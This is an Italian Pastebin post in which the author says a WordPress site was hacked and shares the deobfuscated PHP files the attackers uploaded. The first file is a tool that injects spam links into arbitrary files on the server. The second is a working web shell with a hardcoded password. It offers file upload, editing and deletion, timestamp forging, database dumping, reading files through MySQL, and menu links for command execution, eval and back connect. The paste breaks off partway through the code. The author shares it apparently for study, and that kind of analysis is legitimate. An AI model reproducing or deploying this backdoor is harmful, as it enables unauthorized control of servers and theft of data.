Guest User

fsockopen

a guest
Sep 10th, 2009
683
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Ciao a tutti,
  2. in questi giorni sembra sia di moda bucare la piattaforma wordpress.
  3. anche una nostra applicazione e' stata traforata perche' i sistemisti non aggiornano i software e percio' ci siamo trovati file infettati di robaccia.
  4. tramite una vulnerabilita' e' possibile diventare amministratori di wp e fare fileupload di file .. in particolare a noihanno buttato su dei file php offuscati.
  5. dopo un po' di lavoro sono riuscito a tirarne fuori il codice sorgente e con grande piacere lo posto in lista a fini accademici
  6.  
  7. primo file:
  8.  
  9. ?><html>
  10. <head><title>Hello</title>
  11. </head>
  12. <body>
  13. <?php
  14. // REVISION: $Rev: 835 $
  15.  
  16. set_time_limit(36000);
  17. function unslash_rec(&$arr)
  18. {
  19. reset($arr);
  20. while (list($key)=each($arr))
  21. {
  22. if (is_array($arr[$key])) unslash_rec($arr[$key]);
  23. else
  24. {
  25. $arr[$key]=stripslashes($arr[$key]);
  26. };
  27. };
  28. };
  29.  
  30. function unslash_gpc()
  31. {
  32. if (get_magic_quotes_gpc())
  33. {
  34. unslash_rec($_POST);
  35. };
  36. };
  37.  
  38. $links = Array();
  39. $elinks = Array();
  40.  
  41. function quote_link($lnk)
  42. {
  43. return preg_quote($lnk, '/');
  44. };
  45.  
  46. function process_block($block)
  47. {
  48. GLOBAL $elinks;
  49. $txt = $block[0];
  50. foreach ($elinks as $elink)
  51. {
  52. $pattern = "/<a href=\"{$elink}[^\"]*\">[^<]+<\/a>[^<]*/";
  53. print "PATTERN: [$pattern]<br/>\n";
  54. $txt = preg_replace($pattern, '', $txt);
  55. };
  56. return $txt;
  57. };
  58.  
  59. if (array_key_exists('f', $_GET))
  60. {
  61. unslash_gpc();
  62. //header('Content-Type: text/plain');
  63. if (false === ($txt = file_get_contents($_GET['f'])))
  64. die("ERROR: 1 Failed to get file contents: {$_GET['f']}<br/>\n");
  65. if (array_key_exists('m', $_POST))
  66. {
  67. // Adding
  68. $add_html = false;
  69. $add_body = false;
  70. if (!$_POST['a'])
  71. {
  72. $substr = stristr($txt, '</body');
  73. if (false === $substr)
  74. {
  75. print "</BODY not found!!!\n";// DEBUG
  76. $add_body = true;
  77. $substr = stristr($txt, '</html');
  78. if (false === $substr)
  79. {
  80. print "</HTML not found!!!\n";// DEBUG
  81. $add_html = true;
  82. $substr = $txt;
  83. // die("ERROR: 6 Failed to find &lt;/body&gt; tag <br/>\n");
  84. };
  85. };
  86. $pos = strlen($txt) - strlen($substr);
  87. $tail = substr($txt, $pos);
  88. $txt = substr($txt, 0, $pos);
  89. $txt .= ' ' . $_POST['m'] . ' ';
  90. if ($add_body)
  91. $txt .= '</body>';
  92. if ($add_html)
  93. $txt .= '</html>';
  94. $txt .= $tail;
  95. }
  96. else
  97. {
  98. $txt = $_POST['m'] . ' ' . $txt;
  99. };
  100. }
  101. else if (array_key_exists('u', $_POST))
  102. {
  103. // Removing
  104. // CUSTOMIZED ERASE
  105. //header('Content-type: text/plain');
  106. print "INPUT: [{$_POST['u']}] <br/>\n";
  107. $links = explode("\n", $_POST['u']);
  108. $links = array_map('trim', $links);
  109. $links = preg_grep('/[^\s\r\n\t]/', $links);
  110. print_r($links);
  111. $elinks = array_map('quote_link', $links);
  112. //$pattern = '/<p style="display: (?:none|block)">.*?<\/p>/s';
  113. //$txt = preg_replace_callback($pattern, 'process_block', $txt);
  114. $txt = process_block(Array($txt));
  115. $pattern = "/<p style=\"display: (?:none|block)\">[\s\r\n]*<\/p>/";
  116. $txt = preg_replace($pattern, '', $txt);
  117. }
  118. else
  119. {
  120. die("ERROR: 7 UNKNOWN OPERATION REQUESTED<br/>\n");
  121.  
  122. };
  123. $stat = @stat($_GET['f']);
  124. // if ($stat['mode'] & 0777 != 0644)
  125. // {
  126. //
  127. // };
  128. if ($stat['mode'])
  129. @chmod($_GET['f'], 0666);
  130. $hf = fopen($_GET['f'], "w");
  131. if (!$hf)
  132. {
  133. @chmod($_GET['f'], $stat['mode'] & 0777);
  134. die('ERROR: 2 Failed to open file for writing<br>\n');
  135. };
  136. fwrite($hf, $txt);
  137. fclose($hf);
  138. if ($stat['mode'])
  139. @chmod($_GET['f'], $stat['mode'] & 0777);
  140.  
  141. print "OK: 0 ALL OPERATIONS SUCCEEDED<br/>\n";
  142. }
  143. else
  144. {
  145. /*
  146. print <<<EOM
  147. <form action="up.php" method="POST">
  148.  
  149. <input type="text" name="s" style="width: 400px;" value=""/><br/>
  150. <textarea name="u" style="width: 400px; height: 200px "></textarea><br/>
  151. <input type="submit" value="Submit">
  152. </form>
  153. EOM;
  154. */
  155. print "ERROR: 7 UNKNOWN<br/>\n";
  156. };
  157. ?>
  158. </body>
  159. </html><?
  160.  
  161.  
  162.  
  163.  
  164.  
  165. ----------------------------------------------------------------------
  166. secondo file:
  167. ?><?php
  168.  
  169.  
  170.  
  171. error_reporting(7);
  172. @set_magic_quotes_runtime(0);
  173. ob_start();
  174. $mtime = explode(' ', microtime());
  175. $starttime = $mtime[1] + $mtime[0];
  176. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  177. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  178. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  179. define('IS_COM', class_exists('COM') ? 1 : 0 );
  180. define('IS_GPC', get_magic_quotes_gpc());
  181. $dis_func = get_cfg_var('disable_functions');
  182. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  183. @set_time_limit(0);
  184.  
  185. foreach(array('_GET','_POST') as $_request) {
  186. foreach($$_request as $_key => $_value) {
  187. if ($_key{0} != '_') {
  188. if (IS_GPC) {
  189. $_value = s_array($_value);
  190. }
  191. $$_key = $_value;
  192. }
  193. }
  194. }
  195.  
  196. /*===================== &#31243;&#24207;&#37197;&#32622; =====================*/
  197. $admin = array();
  198. // &#26159;&#21542;&#38656;&#35201;&#23494;&#30721;&#39564;&#35777;, true &#20026;&#38656;&#35201;&#39564;&#35777;, false &#20026;&#30452;&#25509;&#36827;&#20837;.&#19979;&#38754;&#36873;&#39033;&#21017;&#26080;&#25928;
  199. $admin['check'] = true;
  200. // &#22914;&#26524;&#38656;&#35201;&#23494;&#30721;&#39564;&#35777;,&#35831;&#20462;&#25913;&#30331;&#38470;&#23494;&#30721;
  201. $admin['pass'] = 'angel';
  202.  
  203. //&#22914;&#24744;&#23545; cookie &#20316;&#29992;&#33539;&#22260;&#26377;&#29305;&#27530;&#35201;&#27714;, &#25110;&#30331;&#24405;&#19981;&#27491;&#24120;, &#35831;&#20462;&#25913;&#19979;&#38754;&#21464;&#37327;, &#21542;&#21017;&#35831;&#20445;&#25345;&#40664;&#35748;
  204. // cookie &#21069;&#32512;
  205. $admin['cookiepre'] = '';
  206. // cookie &#20316;&#29992;&#22495;
  207. $admin['cookiedomain'] = '';
  208. // cookie &#20316;&#29992;&#36335;&#24452;
  209. $admin['cookiepath'] = '/';
  210. // cookie &#26377;&#25928;&#26399;
  211. $admin['cookielife'] = 86400;
  212. /*===================== &#37197;&#32622;&#32467;&#26463; =====================*/
  213.  
  214. if ($charset == 'utf8') {
  215. header("content-Type: text/html; charset=utf-8");
  216. } elseif ($charset == 'big5') {
  217. header("content-Type: text/html; charset=big5");
  218. } elseif ($charset == 'gbk') {
  219. header("content-Type: text/html; charset=gbk");
  220. } elseif ($charset == 'latin1') {
  221. header("content-Type: text/html; charset=iso-8859-2");
  222. }
  223.  
  224. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  225. $timestamp = time();
  226.  
  227. /*===================== &#36523;&#20221;&#39564;&#35777; =====================*/
  228. if ($action == "logout") {
  229. scookie('pass', '', -86400 * 365);
  230.  
  231. p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  232. exit;
  233. }
  234. if($admin['check']) {
  235. if ($doing == 'login') {
  236. if ($admin['pass'] == $password) {
  237. scookie('pass', $password);
  238. p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
  239. p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
  240. exit;
  241. }
  242. }
  243. if ($_COOKIE['pass']) {
  244. if ($_COOKIE['pass'] != $admin['pass']) {
  245. loginpage();
  246. }
  247. } else {
  248. loginpage();
  249. }
  250. }
  251. /*===================== &#39564;&#35777;&#32467;&#26463; =====================*/
  252.  
  253. $errmsg = '';
  254.  
  255. // &#26597;&#30475;PHPINFO
  256. if ($action == 'phpinfo') {
  257. if (IS_PHPINFO) {
  258. phpinfo();
  259. } else {
  260. $errmsg = 'phpinfo() function has non-permissible';
  261. }
  262. }
  263.  
  264. // &#19979;&#36733;&#25991;&#20214;
  265. if ($doing == 'downfile' && $thefile) {
  266. if (!@file_exists($thefile)) {
  267. $errmsg = 'The file you want Downloadable was nonexistent';
  268. } else {
  269. $fileinfo = pathinfo($thefile);
  270. header('Content-type: application/x-'.$fileinfo['extension']);
  271. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  272. header('Content-Length: '.filesize($thefile));
  273. @readfile($thefile);
  274. exit;
  275. }
  276. }
  277.  
  278. // &#30452;&#25509;&#19979;&#36733;&#22791;&#20221;&#25968;&#25454;&#24211;
  279. if ($doing == 'backupmysql' && !$saveasfile) {
  280. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  281. $table = array_flip($table);
  282. $result = q("SHOW tables");
  283. if (!$result) p('<h2>'.mysql_error().'</h2>');
  284. $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  285. header('Content-type: application/unknown');
  286. header('Content-Disposition: attachment; filename='.$filename);
  287. $mysqldata = '';
  288. while ($currow = mysql_fetch_array($result)) {
  289. if (isset($table[$currow[0]])) {
  290. $mysqldata .= sqldumptable($currow[0]);
  291. }
  292. }
  293. mysql_close();
  294. exit;
  295. }
  296.  
  297. // &#36890;&#36807;MYSQL&#19979;&#36733;&#25991;&#20214;
  298. if($doing=='mysqldown'){
  299. if (!$dbname) {
  300. $errmsg = 'Please input dbname';
  301. } else {
  302. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  303. if (!file_exists($mysqldlfile)) {
  304. $errmsg = 'The file you want Downloadable was nonexistent';
  305. } else {
  306. $result = q("select load_file('$mysqldlfile');");
  307. if(!$result){
  308. q("DROP TABLE IF EXISTS tmp_angel;");
  309. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  310. //&#29992;&#26102;&#38388;&#25139;&#26469;&#34920;&#31034;&#25130;&#26029;,&#36991;&#20813;&#20986;&#29616;&#35835;&#21462;&#33258;&#36523;&#25110;&#21253;&#21547;__angel_1111111111_eof__&#30340;&#25991;&#20214;&#26102;&#19981;&#23436;&#25972;&#30340;&#24773;&#20917;
  311. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  312. $result = q("select content from tmp_angel");
  313. q("DROP TABLE tmp_angel");
  314. }
  315. $row = @mysql_fetch_array($result);
  316. if (!$row) {
  317. $errmsg = 'Load file failed '.mysql_error();
  318. } else {
  319. $fileinfo = pathinfo($mysqldlfile);
  320. header('Content-type: application/x-'.$fileinfo['extension']);
  321. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  322. header("Accept-Length: ".strlen($row[0]));
  323. echo $row[0];
  324. exit;
  325. }
  326. }
  327. }
  328. }
  329.  
  330. ?>
  331. <html>
  332. <head>
  333. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
  334.  
  335. <title></title>
  336. <style type="text/css">
  337. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  338. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  339. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  340. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  341. a {color: #00f;text-decoration:underline;}
  342. a:hover{color: #f00;text-decoration:none;}
  343. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
  344. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
  345. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  346. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
  347. .head td span{font-weight:normal;}
  348. form{margin:0;padding:0;}
  349. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  350. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  351. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  352. </style>
  353. <script type="text/javascript">
  354. function CheckAll(form) {
  355. for(var i=0;i<form.elements.length;i++) {
  356. var e = form.elements[i];
  357. if (e.name != 'chkall')
  358. e.checked = form.chkall.checked;
  359. }
  360. }
  361. function $(id) {
  362. return document.getElementById(id);
  363. }
  364. function goaction(act){
  365. $('goaction').action.value=act;
  366. $('goaction').submit();
  367. }
  368. </script>
  369. </head>
  370. <body style="margin:0;table-layout:fixed; word-break:break-all">
  371. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  372. <tr class="head">
  373.  
  374. </tr>
  375. <tr class="alt1">
  376. <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
  377.  
  378. <a href="javascript:goaction('logout');">Logout</a> |
  379. <a href="javascript:goaction('file');">File Manager</a> |
  380. <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  381. <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  382. <a href="javascript:goaction('shell');">Execute Command</a> |
  383. <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  384. <a href="javascript:goaction('eval');">Eval PHP Code</a>
  385.  
  386. <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  387. </td>
  388. </tr>
  389. </table>
  390. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  391. <?php
  392.  
  393. formhead(array('name'=>'goaction'));
  394. makehide('action');
  395. formfoot();
  396.  
  397. $errmsg && m($errmsg);
  398.  
  399. // &#33719;&#21462;&#24403;&#21069;&#36335;&#24452;
  400. !$dir && $dir = '.';
  401. $nowpath = getPath(SA_ROOT, $dir);
  402. if (substr($dir, -1) != '/') {
  403. $dir = $dir.'/';
  404. }
  405. $uedir = ue($dir);
  406.  
  407. if (!$action || $action == 'file') {
  408.  
  409. // &#21028;&#26029;&#35835;&#20889;&#24773;&#20917;
  410. $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  411.  
  412. // &#21024;&#38500;&#30446;&#24405;
  413. if ($doing == 'deldir' && $thefile) {
  414. if (!file_exists($thefile)) {
  415. m($thefile.' directory does not exist');
  416. } else {
  417. m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  418. }
  419. }
  420.  
  421. // &#21019;&#24314;&#30446;&#24405;
  422. elseif ($newdirname) {
  423. $mkdirs = $nowpath.$newdirname;
  424. if (file_exists($mkdirs)) {
  425. m('Directory has already existed');
  426. } else {
  427. m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  428. @chmod($mkdirs,0777);
  429. }
  430. }
  431.  
  432. // &#19978;&#20256;&#25991;&#20214;
  433. elseif ($doupfile) {
  434. m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  435. }
  436.  
  437. // &#32534;&#36753;&#25991;&#20214;
  438. elseif ($editfilename && $filecontent) {
  439. $fp = @fopen($editfilename,'w');
  440. m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  441. @fclose($fp);
  442. }
  443.  
  444. // &#32534;&#36753;&#25991;&#20214;&#23646;&#24615;
  445. elseif ($pfile && $newperm) {
  446. if (!file_exists($pfile)) {
  447. m('The original file does not exist');
  448. } else {
  449. $newperm = base_convert($newperm,8,10);
  450. m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  451. }
  452. }
  453.  
  454. // &#25913;&#21517;
  455. elseif ($oldname && $newfilename) {
  456. $nname = $nowpath.$newfilename;
  457. if (file_exists($nname) || !file_exists($oldname)) {
  458. m($nname.' has already existed or original file does not exist');
  459. } else {
  460. m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  461. }
  462. }
  463.  
  464. // &#22797;&#21046;&#25991;&#20214;
  465. elseif ($sname && $tofile) {
  466. if (file_exists($tofile) || !file_exists($sname)) {
  467. m('The goal file has already existed or original file does not exist');
  468. } else {
  469. m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  470. }
  471. }
  472.  
  473. // &#20811;&#38534;&#26102;&#38388;
  474. elseif ($curfile && $tarfile) {
  475. if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  476. m('The goal file has already existed or original file does not exist');
  477. } else {
  478. $time = @filemtime($tarfile);
  479. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  480. }
  481. }
  482.  
  483. // &#33258;&#23450;&#20041;&#26102;&#38388;
  484. elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  485. if (!@file_exists($curfile)) {
  486. m(basename($curfile).' does not exist');
  487. } else {
  488. $time = strtotime("$year-$month-$day $hour:$minute:$second");
  489. m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  490. }
  491. }
  492.  
  493. // &#25171;&#21253;&#19979;&#36733;
  494. elseif($doing == 'downrar') {
  495. if ($dl) {
  496. $dfiles='';
  497. foreach ($dl as $filepath => $value) {
  498. $dfiles.=$filepath.',';
  499. }
  500. $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  501. $dl=explode(',',$dfiles);
  502. $zip=new PHPZip($dl);
  503. $code=$zip->out;
  504. header('Content-type: application/octet-stream');
  505. header('Accept-Ranges: bytes');
  506. header('Accept-Length: '.strlen($code));
  507. header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  508. echo $code;
  509. exit;
  510. } else {
  511. m('Please select file(s)');
  512. }
  513. }
  514.  
  515. // &#25209;&#37327;&#21024;&#38500;&#25991;&#20214;
  516. elseif($doing == 'delfiles') {
  517. if ($dl) {
  518. $dfiles='';
  519. $succ = $fail = 0;
  520. foreach ($dl as $filepath => $value) {
  521. if (@unlink($filepath)) {
  522. $succ++;
  523. } else {
  524. $fail++;
  525. }
  526. }
  527. m('Deleted file have finished&#65292;choose '.count($dl).' success '.$succ.' fail '.$fail);
  528. } else {
  529. m('Please select file(s)');
  530. }
  531. }
  532.  
  533. //&#25805;&#20316;&#23436;&#27605;
  534. formhead(array('name'=>'createdir'));
  535. makehide('newdirname');
  536. makehide('dir',$nowpath);
  537. formfoot();
  538. formhead(array('name'=>'fileperm'));
  539. makehide('newperm');
  540. makehide('pfile');
  541. makehide('dir',$nowpath);
  542. formfoot();
  543. formhead(array('name'=>'copyfile'));
  544. makehide('sname');
  545. makehide('tofile');
  546. makehide('dir',$nowpath);
  547. formfoot();
  548. formhead(array('name'=>'rename'));
  549. makehide('oldname');
  550. makehide('newfilename');
  551. makehide('dir',$nowpath);
  552. formfoot();
  553. formhead(array('name'=>'fileopform'));
  554. makehide('action');
  555. makehide('opfile');
  556. makehide('dir');
  557. formfoot();
  558.  
  559. $free = @disk_free_space($nowpath);
  560. !$free && $free = 0;
  561. $all = @disk_total_space($nowpath);
  562. !$all && $all = 0;
  563. $used = $all-$free;
  564. $used_percent = @round(100/($all/$free),2);
  565. p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
  566.  
  567. ?>
  568.  
  569. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  570. <form action="" method="post" id="godir" name="godir">
  571. <tr>
  572. <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  573. <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  574. <td nowrap><input class="bt" value="GO" type="submit"></td>
  575. </tr>
  576. </form>
  577.  
  578. </table>
  579. <script type="text/javascript">
  580. function createdir(){
  581. var newdirname;
  582. newdirname = prompt('Please input the directory name:', '');
  583. if (!newdirname) return;
  584. $('createdir').newdirname.value=newdirname;
  585. $('createdir').submit();
  586. }
  587. function fileperm(pfile){
  588. var newperm;
  589. newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  590. if (!newperm) return;
  591. $('fileperm').newperm.value=newperm;
  592. $('fileperm').pfile.value=pfile;
  593. $('fileperm').submit();
  594. }
  595. function copyfile(sname){
  596. var tofile;
  597. tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  598. if (!tofile) return;
  599. $('copyfile').tofile.value=tofile;
  600. $('copyfile').sname.value=sname;
  601. $('copyfile').submit();
  602. }
  603. function rename(oldname){
  604. var newfilename;
  605. newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  606. if (!newfilename) return;
  607. $('rename').newfilename.value=newfilename;
  608. $('rename').oldname.value=oldname;
  609. $('rename').submit();
  610. }
  611. function dofile(doing,thefile,m){
  612. if (m && !confirm(m)) {
  613. return;
  614. }
  615. $('filelist').doing.value=doing;
  616. if (thefile){
  617. $('filelist').thefile.value=thefile;
  618. }
  619. $('filelist').submit();
  620. }
  621. function createfile(nowpath){
  622. var filename;
  623. filename = prompt('Please input the file name:', '');
  624. if (!filename) return;
  625. opfile('editfile',nowpath + filename,nowpath);
  626. }
  627. function opfile(action,opfile,dir){
  628. $('fileopform').action.value=action;
  629. $('fileopform').opfile.value=opfile;
  630. $('fileopform').dir.value=dir;
  631. $('fileopform').submit();
  632. }
  633. function godir(dir,view_writable){
  634. if (view_writable) {
  635. $('godir').view_writable.value=1;
  636. }
  637. $('godir').dir.value=dir;
  638. $('godir').submit();
  639. }
  640. </script>
  641. <?php
  642. tbhead();
  643. p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  644. p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  645. p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  646. if ($view_writable) {
  647. p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  648. } else {
  649. p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  650. }
  651. p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  652. if (IS_WIN && IS_COM) {
  653. $obj = new COM('scripting.filesystemobject');
  654. if ($obj && is_object($obj)) {
  655. $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  656. foreach($obj->Drives as $drive) {
  657. if ($drive->DriveType == 2) {
  658. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  659. } else {
  660. p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  661. }
  662. }
  663. }
  664. }
  665.  
  666. p('</td></tr></form>');
  667.  
  668. p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  669.  
  670. //&#26597;&#30475;&#25152;&#26377;&#21487;&#20889;&#25991;&#20214;&#21644;&#30446;&#24405;
  671. $dirdata=array();
  672. $filedata=array();
  673.  
  674. if ($view_writable) {
  675. $dirdata = GetList($nowpath);
  676. } else {
  677. // &#30446;&#24405;&#21015;&#34920;
  678. $dirs=@opendir($dir);
  679. while ($file=@readdir($dirs)) {
  680. $filepath=$nowpath.$file;
  681. if(@is_dir($filepath)){
  682. $dirdb['filename']=$file;
  683. $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  684. $dirdb['dirchmod']=getChmod($filepath);
  685. $dirdb['dirperm']=getPerms($filepath);
  686. $dirdb['fileowner']=getUser($filepath);
  687. $dirdb['dirlink']=$nowpath;
  688. $dirdb['server_link']=$filepath;
  689. $dirdb['client_link']=ue($filepath);
  690. $dirdata[]=$dirdb;
  691. } else {
  692. $filedb['filename']=$file;
  693. $filedb['size']=sizecount(@filesize($filepath));
  694. $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  695. $filedb['filechmod']=getChmod($filepath);
  696. $filedb['fileperm']=getPerms($filepath);
  697. $filedb['fileowner']=getUser($filepath);
  698. $filedb['dirlink']=$nowpath;
  699. $filedb['server_link']=$filepath;
  700. $filedb['client_link']=ue($filepath);
  701. $filedata[]=$filedb;
  702. }
  703. }// while
  704. unset($dirdb);
  705. unset($filedb);
  706. @closedir($dirs);
  707. }
  708. @sort($dirdata);
  709. @sort($filedata);
  710. $dir_i = '0';
  711. foreach($dirdata as $key => $dirdb){
  712. if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  713. $thisbg = bg();
  714. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  715. p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  716. p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  717. p('<td nowrap>'.$dirdb['mtime'].'</td>');
  718. p('<td nowrap>--</td>');
  719. p('<td nowrap>');
  720. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  721. p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  722. p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  723. p('</tr>');
  724. $dir_i++;
  725. } else {
  726. if($dirdb['filename']=='..') {
  727. p('<tr class='.bg().'>');
  728. p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  729. p('</tr>');
  730. }
  731. }
  732. }
  733.  
  734. p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  735. p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  736. makehide('action','file');
  737. makehide('thefile');
  738. makehide('doing');
  739. makehide('dir',$nowpath);
  740. $file_i = '0';
  741. foreach($filedata as $key => $filedb){
  742. if($filedb['filename']!='..' && $filedb['filename']!='.') {
  743. $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  744. $thisbg = bg();
  745. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  746. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  747. p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  748. p('<td nowrap>'.$filedb['mtime'].'</td>');
  749. p('<td nowrap>'.$filedb['size'].'</td>');
  750. p('<td nowrap>');
  751. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  752. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  753. p('<td nowrap>');
  754. p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  755. p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  756. p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  757. p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  758. p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  759. p('</td></tr>');
  760. $file_i++;
  761. }
  762. }
  763. p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  764. p('</form></table>');
  765. }// end dir
  766.  
  767. elseif ($action == 'sqlfile') {
